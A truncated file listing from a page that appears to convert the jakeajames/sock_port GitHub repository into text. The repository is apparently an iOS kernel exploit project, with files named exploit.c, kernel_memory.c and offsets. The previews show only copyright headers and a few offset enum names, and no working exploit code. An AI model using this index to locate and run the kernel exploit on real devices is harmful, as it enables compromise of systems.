    "preview": "//\n//  ViewController.h\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All righ"
  },
  {
    "path": "sock_port/ViewController.m",
    "chars": 496,
    "preview": "//\n//  ViewController.m\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All righ"
  },
  {
    "path": "sock_port/exploit.c",
    "chars": 21058,
    "preview": "//\n//  exploit.c\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All rights rese"
  },
  {
    "path": "sock_port/exploit.h",
    "chars": 3395,
    "preview": "//\n//  exploit.h\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All rights rese"
  },
  {
    "path": "sock_port/exploit_utilities.c",
    "chars": 5547,
    "preview": "//\n//  exploit_utilities.c\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All r"
  },
  {
    "path": "sock_port/exploit_utilities.h",
    "chars": 2005,
    "preview": "//\n//  exploit_utilities.h\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All r"
  },
  {
    "path": "sock_port/include/IOKit/IOKitKeys.h",
    "chars": 6749,
    "preview": "/*\n * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n "
  },
  {
    "path": "sock_port/include/IOKit/IOKitLib.h",
    "chars": 68790,
    "preview": "/*\n * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_LICENSE_HEADER_START@\n * \n * The co"
  },
  {
    "path": "sock_port/include/IOKit/IOReturn.h",
    "chars": 7526,
    "preview": "/*\n * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n "
  },
  {
    "path": "sock_port/include/IOKit/IOTypes.h",
    "chars": 6038,
    "preview": "/*\n * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n "
  },
  {
    "path": "sock_port/include/IOKit/OSMessageNotification.h",
    "chars": 3086,
    "preview": "/*\n * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_LICENSE_HEADER_START@\n * \n * This f"
  },
  {
    "path": "sock_port/iosurface.c",
    "chars": 12501,
    "preview": "/*\n * iosurface.c\n * Brandon Azad\n */\n#define IOSURFACE_EXTERN\n#include \"iosurface.h\"\n\n// ---- Global variables --------"
  },
  {
    "path": "sock_port/iosurface.h",
    "chars": 3802,
    "preview": "/*\n * iosurface.h\n * Brandon Azad\n */\n#ifndef VOUCHER_SWAP__IOSURFACE_H_\n#define VOUCHER_SWAP__IOSURFACE_H_\n\n#include <m"
  },
  {
    "path": "sock_port/kernel_memory.c",
    "chars": 2526,
    "preview": "//\n//  kernel_memory.c\n//  sock_port\n//\n//  Created by Jake James on 7/18/19.\n//  Copyright © 2019 Jake James. All right"
  },
  {
    "path": "sock_port/kernel_memory.h",
    "chars": 1379,
    "preview": "//\n//  kernel_memory.h\n//  sock_port\n//\n//  Created by Jake James on 7/18/19.\n//  Copyright © 2019 Jake James. All right"
  },
  {
    "path": "sock_port/main.m",
    "chars": 334,
    "preview": "//\n//  main.m\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All rights reserve"
  },
  {
    "path": "sock_port/offsets.h",
    "chars": 1393,
    "preview": "enum kstruct_offset {\n    /* struct task */\n    KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,\n    KSTRUCT_OFFSET_TASK_REF_COUNT,\n   "
  },
  {
    "path": "sock_port/offsets.m",
    "chars": 7805,
    "preview": "#import <Foundation/Foundation.h>\n#import <UIKit/UIKit.h>\n\n#import <stdio.h>\n#import <stdlib.h>\n#import <string.h>\n#impo"
  },
  {
    "path": "sock_port.xcodeproj/project.pbxproj",
    "chars": 26429,
    "preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 48;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
  },
  {
    "path": "sock_port.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
    "chars": 200,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n   version = \"1.0\">\n   <FileRef\n      location = \"self:/Users/pwn20wnd"
  },
  {
    "path": "sock_port.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
    "chars": 238,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port.xcodeproj/xcshareddata/xcschemes/sock_port.xcscheme",
    "chars": 4203,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n   LastUpgradeVersion = \"1010\"\n   version = \"1.3\">\n   <BuildAction\n      "
  },
  {
    "path": "sock_port.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist",
    "chars": 2112,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Bucket\n   type = \"1\"\n   version = \"2.0\">\n   <Breakpoints>\n      <BreakpointProxy"
  },
  {
    "path": "sock_port.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist",
    "chars": 334,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port.xcodeproj/xcuserdata/pwn20wnd.xcuserdatad/xcschemes/xcschememanagement.plist",
    "chars": 673,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port_UITests/Info.plist",
    "chars": 701,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port_UITests/socket_freeUITests.m",
    "chars": 1212,
    "preview": "//\n//  sock_portUITests.m\n//  sock_portUITests\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James."
  },
  {
    "path": "sock_port_tests/Info.plist",
    "chars": 701,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port_tests/socket_freeTests.m",
    "chars": 905,
    "preview": "//\n//  sock_portTests.m\n//  sock_portTests\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All"
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the jakeajames/sock_port GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 40 files (231.7 KB), approximately 62.8k tokens, and a symbol index with 114 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!